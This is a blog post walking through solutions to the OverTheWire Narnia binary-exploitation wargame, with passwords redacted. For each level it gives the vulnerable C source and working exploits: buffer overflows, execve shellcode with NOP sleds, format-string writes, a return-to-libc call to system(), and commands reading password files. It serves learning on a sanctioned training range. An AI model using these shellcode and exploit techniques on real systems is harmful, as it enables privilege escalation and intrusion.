@ainterr:blog

OverTheWire: Narnia Writeup

Feb 20, 2017

I had some extra free time this month with the Lab closing twice due to the snow. I used one of these days to modernize my blog and website and the other, the subject of this post, I spent working through the Narnia wargame. For those of you unfamiliar, OverTheWire hosts a number of “wargames” - series of exploitation challenges that vary in difficulty from “never touched a command line in my life” to “write an exploit for a modern version of gzip”. Narnia is one of the simpler binary exploitation series with only a few levels so I thought I’d try and tackle it on my day off.

Warning: this blog post contains solutions to the Narnia wargame. If you’re interested in solving it yourself DO NOT READ THIS. Passwords have been redacted with XXXXXXXXXX.

Level0

SSH to narnia0@narnia.labs.overthewire.org with password narnia0 - easy enough.

Level0 → Level1

#include <stdio.h>
#include <stdlib.h>

int main(){
        long val=0x41414141;
        char buf[20];

        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);

        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);

        if(val==0xdeadbeef)
                system("/bin/sh");
        else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }

        return 0;
}

This is as simple as buffer overflows get - buf is 20 bytes long but the scanf reads in 24 bytes, allowing you to overwrite the next value on the stack - in this case val. If val is 0xdeadbeef we get a shell. I didn’t bother writing a script for this one and used python to construct an input string (making sure to reverse the order of bytes for 0xdeadbeef since this is a little endian system).

narnia0@melinda:/narnia$ python -c 'print "A"*20+"\xef\xbe\xad\xde"' | ./narnia0                          
Correct vals value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAA
val: 0xdeadbeef
narnia0@melinda:/narnia$ id
uid=14000(narnia0) gid=14000(narnia0) groups=14000(narnia0)
narnia0@melinda:/narnia$

Well, it looks like we’re passing the value check - no “WAY OFF!!!!” message but we still don’t seem to have narnia1 privileges… This is because the bash | replaces stdin for ./narnia0 with a pipe from the stdout of my python command. This causes /bin/sh to get an EOF after the python command completes, closing the process before I can interact with it. We should be able to pass it the command we want to execute after our python code via the same pipe.

narnia0@melinda:/narnia$ (python -c 'print "A"*20+"\xef\xbe\xad\xde"'; echo "cat /etc/narnia_pass/narnia1") | ./narnia0 
Correct vals value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAﾭ
val: 0xdeadbeef
XXXXXXXXXX
narnia0@melinda:/narnia$

Success, on to the next one.

Level1 → Level2

#include <stdio.h>

int main(){
        int (*ret)();

        if(getenv("EGG")==NULL){
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }

        printf("Trying to execute EGG!\n");
        ret = getenv("EGG");
        ret();

        return 0;
}

Looks like this one is walking us through putting shellcode in an environment variable - it checks to see if EGG is set and, if so, jumps to its address and executes its content. I generated a /bin/sh shellcode with pwntools shellcraft module on my system.

Python 2.7.12 (default, Nov 19 2016, 06:48:10) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> asm(shellcraft.i386.linux.sh())
'h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80'
>>>

We can then put this shellcode in a simple script that prints it to stdout, save it to a tmp directory, and run narnia1, passing it our shellcode as an environment variable.

narnia1@melinda:/narnia$ EGG=`python /tmp/forgottenwinter/egg.py` ./narnia1 
Trying to execute EGG!
$ id
uid=14001(narnia1) gid=14001(narnia1) euid=14002(narnia2) groups=14002(narnia2),14001(narnia1)
$ cat /etc/narnia_pass/narnia2
XXXXXXXXXX

Another one down.

Level2 → Level3

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
        char buf[128];

        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        strcpy(buf,argv[1]);
        printf("%s", buf);

        return 0;
}

This one looks a lot more like a traditional buffer overflow. We’ve got a 128 byte buffer buf and we strcpy argv[1] directly into it with no bounds checking. First, let’s find how big our input buffer needs to be to give us control of eip.

narnia2@melinda:/narnia$ gdb ./narnia2 
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./narnia2...(no debugging symbols found)...done.
(gdb) r `python -c 'print "A"*140+"BBBB"'`
Starting program: /games/narnia/narnia2 `python -c 'print "A"*140+"BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Great, looks like we can set eip after 140 bytes. Now we need somewhere to store our shellcode. We might as well just use the same egg as the last level and store it in an environment variable but we’ll need to find it on the stack. To give us some wiggle room, let’s also add a sizable nop sled to the beginning of our shellcode. My egg.py now looks like this:

print '\x90'*2000+'h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80'

We can find our shellcode using gdb by reading memory on the stack as strings (I used a command like x/500s $sp) and scrolling until we start to see environment variables and a ton of nops.

0xffffd0a4:     ""
0xffffd0a5:     ""
0xffffd0a6:     "/games/narnia/narnia2"
0xffffd0bc:     "XDG_SESSION_ID=250067"
---Type <return> to continue, or q <return> to quit---
0xffffd0d2:     "SHELL=/bin/bash"
0xffffd0e2:     "TERM=screen"
0xffffd0ee:     "SSH_CLIENT=50.169.192.125 54062 22"
0xffffd111:     "SSH_TTY=/dev/pts/94"
0xffffd125:     "LC_ALL=C"
0xffffd12e:     "EGG=", '\220' <repeats 196 times>...
0xffffd1f6:     '\220' <repeats 200 times>...
0xffffd2be:     '\220' <repeats 200 times>...
0xffffd386:     '\220' <repeats 200 times>...
0xffffd44e:     '\220' <repeats 200 times>...
0xffffd516:     '\220' <repeats 200 times>...
0xffffd5de:     '\220' <repeats 200 times>...
0xffffd6a6:     '\220' <repeats 200 times>...
0xffffd76e:     '\220' <repeats 200 times>...
0xffffd836:     '\220' <repeats 200 times>...
0xffffd8fe:     "\220\220\220\220h\001\001\001\001\201\064$ri\001\001\061\322Rj\004Z\001\342R\211\342jhh///sh/binj\vX\211\343\211\321\231\315\200"
0xffffd930:     "USER=narnia2"

Looks like 0xffffd516 should be right in the middle of our nop sled. So combining everything we’ve got so far…

narnia2@melinda:/narnia$ EGG=`python /tmp/docilelumberjack/egg.py` ./narnia2 `python -c 'print "A"*140+"\x16\xd5\xff\xff"'`
$ id
uid=14002(narnia2) gid=14002(narnia2) euid=14003(narnia3) groups=14003(narnia3),14002(narnia2)
$ cat /etc/narnia_pass/narnia3
XXXXXXXXXX

On to level4.

Level3 → Level4

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];

        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
                exit(-1);
        }

        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
                exit(-1);
        }
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);
                exit(-1);
        }

        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

        /* close 'em */
        close(ifd);
        close(ofd);

        exit(1);
}

There are a lot of potentially exploitable bugs here due to unbounded reads and writes. However, since we’re only looking for the password to narnia4, there’s no need to pop a shell - this code will copy a file for us if we can give it the right input. Since the strcpy is unbounded, we can overflow the ifile buffer and write into the ofile buffer - its just a matter of crafting a string that gives us what we want. I started by moving into a tmp directory and the following input worked for me.

narnia3@melinda:/tmp/ambitiousghost$ touch narnia4
narnia3@melinda:/tmp/ambitiousghost$ /narnia/narnia3 /././././././../etc/narnia_pass/narnia4
copied contents of /././././././../etc/narnia_pass/narnia4 to a safer place... (narnia4)
narnia3@melinda:/tmp/ambitiousghost$ cat narnia4 
XXXXXXXXXX
���4�}0,narnia3@melinda:/tmp/ambitiousghost$

First, we can create a file of the same name that we control (narnia4) in the current directory. The file we want to read is in /etc/narnia_pass/narnia4 so we just need to pad this input with useless path junk so that it’s just long enough to overflow only the string narnia4 into ofile - referring to the narnia4 file in the current directory. Since read/write don’t adjust permissions, we still have access to narnia4 after it’s written.

Level4 → Level5

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
        int i;
        char buffer[256];

        for(i = 0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));

        if(argc>1)
                strcpy(buffer,argv[1]);

        return 0;
}

It looks like this program was designed to defeat our environment variable shellcode - before the strcpy, it nulls all environment variables. Instead, we’ll have to store our shellcode in the buffer itself. First, let’s get control of eip.

(gdb) r `python -c 'print "A"*272+"BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia4 `python -c 'print "A"*272+"BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Great, looks like 272 bytes will do the trick. Now, we need the address of of argv[1] so we can jump there after filling it with shellcode.

0xffffd782:     ""
0xffffd783:     ""
0xffffd784:     "/games/narnia/narnia4"
0xffffd79a:     'A' <repeats 200 times>...
0xffffd862:     'A' <repeats 72 times>, "BBBB"
0xffffd8af:     "XDG_SESSION_ID=250351"

Looks like argv[1] starts at 0xffffd79a - we should have what we need to write an exploit string. I wrote a script for this one because the command line input was getting a bit long.

import struct

shellcode = 'h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80'
address = 0xffffd79a

buf = shellcode
buf += 'A'*(272-len(shellcode))
buf += struct.pack("<I", address)

print buf

narnia4@melinda:/tmp/intricatetrigger$ /narnia/narnia4 `python exploit.py`
$ id
uid=14004(narnia4) gid=14004(narnia4) euid=14005(narnia5) groups=14005(narnia5),14004(narnia4)
$ cat /etc/narnia_pass/narnia5
XXXXXXXXXX

There we go.

Level5 → Level6

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

This seems to be a beginner formatstring exploit - the snprintf isn’t vulnerable to overflow here since sizeof is evaluated at compile time so it can’t be manipulated like strlen. Luckily, this program provides us with some helpful output if we fail to get a shell. Let’s start by feeding it some %xs.

narnia5@melinda:/narnia$ ./narnia5 `python -c 'print "AAAA"+"%x."*5'`
Change is value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAAf7eb7746.ffffffff.ffffd6ae.f7e2fc34.41414141.] (49)
i = 1 (0xffffd6cc)

Great, so we know the snprintf is vulnerable since we’re leaking memory values, we know we get back to the beginning of our buffer 0x41414141 after 5 %xs, and we know the address of i that we want to write to. If we insert the address of i at the beginning and replace the last %x with a %n, we should be able to write to i.

narnia5@melinda:/narnia$ ./narnia5 `python -c 'print "\xcc\xd6\xff\xffAAAA"+"%x."*4+"%n"'`
Change is value from 1 -> 500. No way...let me give you a hint!
buffer : [��AAAAf7eb7746.ffffffff.ffffd6ae.f7e2fc34.] (44)
i = 44 (0xffffd6cc)

Awesome, so now it’s just a matter of reading the right number of characters before %n to set the value of i to 500. Adjusting the last %x, we can set i and get the password.

narnia5@melinda:/narnia$ ./narnia5 `python -c 'print "\xcc\xd6\xff\xffAAAA"+"%x."*3+"%465x%n"'`
Change is value from 1 -> 500. GOOD
$ id   
uid=14005(narnia5) gid=14005(narnia5) euid=14006(narnia6) groups=14006(narnia6),14005(narnia5)
$ cat /etc/narnia_pass/narnia6
XXXXXXXXXX

Level6 → Level7

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

// tired of fixing values...
// - morla
unsigned long get_sp(void) {
        __asm__("movl %esp,%eax\n\t"
                        "and $0xff000000, %eax"
               );
}

int main(int argc, char *argv[]){
        char b1[8], b2[8];
        int  (*fp)(char *)=(int(*)(char *))&puts, i;

        if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

        /* clear environ */
        for(i=0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));
        /* clear argz    */
        for(i=3; argv[i] != NULL; i++)
                memset(argv[i], '\0', strlen(argv[i]));

        strcpy(b1,argv[1]);
        strcpy(b2,argv[2]);
        //if(((unsigned long)fp & 0xff000000) == 0xff000000)
        if(((unsigned long)fp & 0xff000000) == get_sp())
                exit(-1);
        fp(b1);

        exit(1);
}

It looks like we’ve got a writable function pointer fp via overflowing one of the two buffers in a strcpy. However, in addition to zeroing environment variables, this challenge tries to detect if fp points to an address on the stack and quits if it does - which means we can’t just jump to our shellcode in argv like we did last time.

Fortunately, we have control of a function pointer that gets called and one argument passed to it - we could call system("/bin/sh") if we can find the address of system, classic return to libc. We can get it by opening narnia6 in a debugger.

narnia6@melinda:/narnia$ gdb ./narnia6 
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./narnia6...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x804855d
(gdb) r
Starting program: /games/narnia/narnia6 

Breakpoint 1, 0x0804855d in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e62e70 <system>

Great, so we need to overwrite fp with 0xf7e62e70 and set b1 to "/bin/sh". We’ll use two overflows, so that we can get the null byte at the end of "/bin/sh" in the right place.

narnia6@melinda:/narnia$ ./narnia6 `python -c 'print "A"*8+"\x70\x2e\xe6\xf7"'` AAAAAAAA/bin/sh
$ id
uid=14006(narnia6) gid=14006(narnia6) euid=14007(narnia7) groups=14007(narnia7),14006(narnia6)
$ cat /etc/narnia_pass/narnia7
XXXXXXXXXX

Level7 → Level8

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int goodfunction();
int hackedfunction();

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

int main(int argc, char **argv){
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
                exit(-1);
        }
        exit(vuln(argv[1]));
}

int goodfunction(){
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
        fflush(stdout);

        return 0;
}

int hackedfunction(){
        printf("Way to go!!!!");
        fflush(stdout);
        system("/bin/sh");

        return 0;
}

This looks like another formatstring exploit - the snprintf in vuln uses raw user input for a format. This time, we want to write ptrf to point to hackedfunction instead of goodfunction before it is called. Luckily, the program gives us all the addresses we need if we just run it.

narnia7@melinda:/narnia$ ./narnia7 foo
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd61c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..

So we want to change the value of ptrf at 0xffffd61c from 0x80486e0 to 0x8048706, in other words, we want to write 0x8706 to the halfword 0xffffd61c using the format string vulnerability.

Let’s start by using ltrace to find the address of our format string.

narnia7@melinda:/tmp/silentmoose$ ltrace /narnia/narnia7 `python -c 'print "AAAA"+"%x."*6'`
__libc_start_main(0x804868f, 2, 0xffffd764, 0x8048740 <unfinished ...>
memset(0xffffd620, '\0', 128)                                                                                                       = 0xffffd620
printf("goodfunction() = %p\n", 0x80486e0goodfunction() = 0x80486e0
)                                                                                          = 27
printf("hackedfunction() = %p\n\n", 0x8048706hackedfunction() = 0x8048706

)                                                                                      = 30
printf("before : ptrf() = %p (%p)\n", 0x80486e0, 0xffffd61cbefore : ptrf() = 0x80486e0 (0xffffd61c)
)                                                                        = 41
puts("I guess you want to come to the "...I guess you want to come to the hackedfunction...
)                                                                                         = 50
sleep(2)                                                                                                                            = 0
snprintf("AAAA8048238.ffffd678.f7ffda94.0."..., 128, "AAAA%x.%x.%x.%x.%x.%x.", 0x8048238, 0xffffd678, 0xf7ffda94, 0, 0x80486e0, 0x41414141) = 49
puts("Welcome to the goodfunction, but"...Welcome to the goodfunction, but i said the Hackedfunction..
)                                                                                         = 61
fflush(0xf7fcaac0)                                                                                                                  = 0
exit(0 <no return ...>
+++ exited (status 0) +++

Judging by the snprintf call it looks like we need 6 %xs before we reach our string. Now we can prepend the address we want to write 0xffffd61c and replace the last %x with a %hn. We use %hn this time because we want to write the lower half of ptrf.

With a bit of trial and error, I came up with the following explot string script.

import struct

address = 0xffffd61c
value = 0x8706

buf = struct.pack('<I', address)
buf += 'AAAA'
buf += '%x.'*4
buf += '%'+str(value-0x2b+1+0x6)+'x'
buf += '%hn'

print buf

narnia7@melinda:/tmp/silentmoose$ /narnia/narnia7 `python exploit.py`
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd61c)
I guess you want to come to the hackedfunction...
Way to go!!!!$ id
uid=14007(narnia7) gid=14007(narnia7) euid=14008(narnia8) groups=14008(narnia8),14007(narnia7)
$ cat /etc/narnia_pass/narnia8
XXXXXXXXXX

On to the final challenge.

Level8 → Level9

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am 
// making "i" global unti i find a fix 
// -morla 
int i;

void func(char *b){
        char *blah=b;
        char bok[20];
        //int i=0;

        memset(bok, '\0', sizeof(bok));
        for(i=0; blah[i] != '\0'; i++)
                bok[i]=blah[i];

        printf("%s\n",bok);
}

int main(int argc, char **argv){

        if(argc > 1)
                func(argv[1]);
        else
                printf("%s argument\n", argv[0]);

        return 0;
}

I’ll admit, this one had me stumped for quite a while. At first glance this looks like a straightforward buffer overflow, I should be able to store some shellcode in an environment variable, overflow the return address of func, and jump to it. However, because blah is a local variable of func, it resides on the stack which means that if we overflow bok, we’ll start writing into the address stored in blah before we can overwrite the return address. Unfortunately, also because blah is a local variable, its position on the stack isn’t fixed and will depend on the environment variables, and string we pass to the binary. Let’s start by just naively overflowing bok.

narnia8@melinda:/tmp/negativemelody$ /narnia/narnia8 `python -c 'print "A"*200'`
AAAAAAAAAAAAAAAAAAAAA�
narnia8@melinda:/tmp/negativemelody$ /narnia/narnia8 `python -c 'print "A"*200'` | xxd
0000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000010: 4141 4141 41d7 ffff 020a                 AAAAA.....

The program didn’t segfault, but we did get some interesting output - the contents of the bok buffer with the address blah appended to the end. This address acts as a sort of canary - we need to write the correct value here or the loop will stop and we won’t be able to overwrite eip. We can see here that we’ve overwritten the least significant byte of the address of blah.

narnia8@melinda:/tmp/omnipotentotter$ /narnia/narnia8 `python -c 'print "ABCDEFGHIJKLMNOPQRST"+"\x91\xd8\xff\xff"+"A"*12+"BBBB"'`      
ABCDEFGHIJKLMNOPQRST��AAAAAAAAAAAABBBB��
Segmentation fault

After some trial and error, I was able to generate a segfault at an address I control. Using the same environment variable shellcode as the previous challenge, I can pass its address in place of BBBB.

narnia8@melinda:/tmp/omnipotentotter$ /narnia/narnia8 `python -c 'print "ABCDEFGHIJKLMNOPQRST"+"\x97\xd7\xff\xff"+"A"*12+"\xf1\xd8\xff\xff"'`
ABCDEFGHIJKLMNOPQRST��AAAAAAAAAAAA����
$ id
uid=14008(narnia8) gid=14008(narnia8) euid=14009(narnia9) groups=14009(narnia9),14008(narnia8)
$ cat /etc/narnia_pass/narnia9
XXXXXXXXXX

Success, and that’s the end of the Narnia wargame.